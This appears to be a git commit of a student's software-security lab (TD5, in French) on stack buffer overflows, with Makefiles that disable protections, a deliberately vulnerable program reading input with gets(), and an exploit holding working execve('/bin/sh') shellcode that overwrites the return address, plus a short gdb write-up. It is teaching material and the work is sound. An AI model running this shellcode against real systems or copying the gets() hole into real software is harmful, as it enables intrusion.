First part of TD5

This commit is contained in:
Yorick Barbanneau 2023-03-09 16:04:48 +01:00
parent eceb4717df
commit 33f23e8538
9 changed files with 204 additions and 0 deletions

View file

@ -0,0 +1,34 @@
CC = gcc
CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack
SRC = $(wildcard *.c)
TGT = $(subst .c,,$(SRC))
BUILD_DIR = build
DUMP_DIR = dump
pframe:
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
tar -xf pframe.tgz &&\
rm -rf pframe.tgz
.gdbinit:
configure: pframe .gdbinit
$(shell echo "python import pframe" > .gdbinit)
$(BUILD_DIR)/%: %.c
$(shell mkdir -p $(BUILD_DIR))
$(CC) $(CFLAGS) -o $@ $<
build: $(addprefix $(BUILD_DIR)/, $(TGT)))
PHONY: %
gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
gdb $< --command=$(subst gdb_,,$@).gdb
PHONY: clean
clean:
@rm -rf $(BUILD_DIR) pframe .gdbinit

View file

@ -0,0 +1,14 @@
#include <stdio.h>
#include <stdlib.h>
#define N 11
int main(int argc, char *argv[]) {
long t[N];
long i;
for (i = 0; i <= N; i++)
t[i] = 0;
return t[0];
}

View file

@ -0,0 +1,2 @@
b main
r

View file

@ -0,0 +1,35 @@
CC = gcc
CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack
SRC = $(wildcard *.c)
TGT = $(subst .c,,$(SRC))
BUILD_DIR = build
DUMP_DIR = dump
pframe:
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
tar -xf pframe.tgz &&\
rm -rf pframe.tgz
.gdbinit:
configure: pframe .gdbinit
$(shell echo "python import pframe" > .gdbinit)
$(BUILD_DIR)/%: %.c
$(shell mkdir -p $(BUILD_DIR))
$(CC) $(CFLAGS) -o $@ $<
build: $(addprefix $(BUILD_DIR)/, $(TGT)))
PHONY: gdb
gdb: build/exploit build/anodin configure
./$(BUILD_DIR)/exploit > hack.txt &
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
setarch -R gdb ./$(BUILD_DIR)/anodin --command=$(subst gdb_,,$@).gdb
rm hack.txt
PHONY: clean
clean:
@rm -rf $(BUILD_DIR) pframe .gdbinit

View file

@ -0,0 +1,23 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int litentier(void) {
unsigned char buf[64];
int i;
printf("%p\n", buf);
printf("> ");
fflush(stdout);
gets(buf);
i=atoi(buf);
return i;
}
int main(int argc, char *argv[]) {
while (1) {
int i;
i = litentier();
printf("ok %d\n", i);
}
}

View file

@ -0,0 +1,2 @@
b litentier
r < hack.txt

View file

@ -0,0 +1,62 @@
#include <stdlib.h>
#include <stdio.h>
unsigned char exploit[1024] = {
0x90, 0x90, 0x90, 0x90, // A few nops for some margin
0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90,
#ifdef __x86_64__
/* 64 bit version */
0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next
'/','b','i','n','/','s','h','\0',
0x5f, // pop the address
0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // execve system call
0x6a, 0x00, // push NULL at the end of the array
0x48, 0x89, 0xe2, // envp
0x57, // push adress
0x48, 0x89, 0xe6, // argv
0x0f, 0x05, // system call!
#else
/* 32 bit version */
0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next
'/','b','i','n','/','s','h','\0',
0x5b, // pop the adress
0xb8, 0x0b, 0x00, 0x00, 0x00, // execve system call
0x6a, 0x00, // push NULL at the end of the array
0x89, 0xe2, // envp
0x53, // push adress
0x89, 0xe1, // argv
0xcd, 0x80, // system call!
#endif
};
int main(void) {
int i;
void **exploit_ptr = (void*) &exploit;
void *ptr;
fprintf(stderr,"Type the buf address printed by anodin\n");
scanf("%p", &ptr);
// Un peu de marge
ptr += 8;
// écraser l'adresse de retour
for (i = 0; i < 8; i++)
exploit_ptr[64/sizeof(void*)+i] = ptr;
for (i=0;i<sizeof(exploit);i++)
putchar(exploit[i]);
for (i=0;i<8192;i++)
putchar('\n');
printf("touch /tmp/ahah\n");
printf("echo \"I created file\" /tmp/ahah \\!\n");
fflush(stdout);
return 0;
}

View file

@ -0,0 +1,32 @@
---
title: "Sécurité logicielle : TD 5 stack overflow et shellcode"
date: 2023-02-10
tags: ["Assembleur", "x86"]
categories: ["Sécurité logicielle", "TD"]
---
## Partie 1
Avec l'aide de `pframe`, nous pouvons voir que lorsque notre boucle itère pour
la onzième fois, l'affectation `t[11]` écrase `i` et le remet à 0. A ce moment
notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
variables associées.
## Partie 2
### question 1 et 2
Effectivement le code vu en cours est repris dans cet exemple. Nous sommes
cependant en présence de code *C* avec du code assembleur directement écrit en
*hexadécimal*.
### question 4
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons
clairement les éléments de notre attaque : les éléments de la pile contenant les
adresses vers notre *shellcode*, les paffing avec des `nop` et le *shellcode*.
On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
mettent alors en places.